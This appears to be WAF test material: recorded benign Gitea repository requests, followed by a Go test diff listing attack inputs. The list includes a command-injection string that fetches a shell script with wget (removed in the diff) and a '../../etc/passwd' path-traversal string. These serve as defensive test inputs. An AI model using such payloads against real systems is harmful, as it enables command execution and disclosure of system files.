+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n  web:\r\n    image: nginx:1.27\r\n    restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
+{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
+{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
+{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}

internal/coreruleset/vaultwarden_test.go

@@ -313,7 +313,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
 var vaultwardenAttacks = []string{
 	injection,
 	scriptTag,
-	"; wget http://example.com/x.sh",
+	shellCommand,
 	"../../etc/passwd",
 }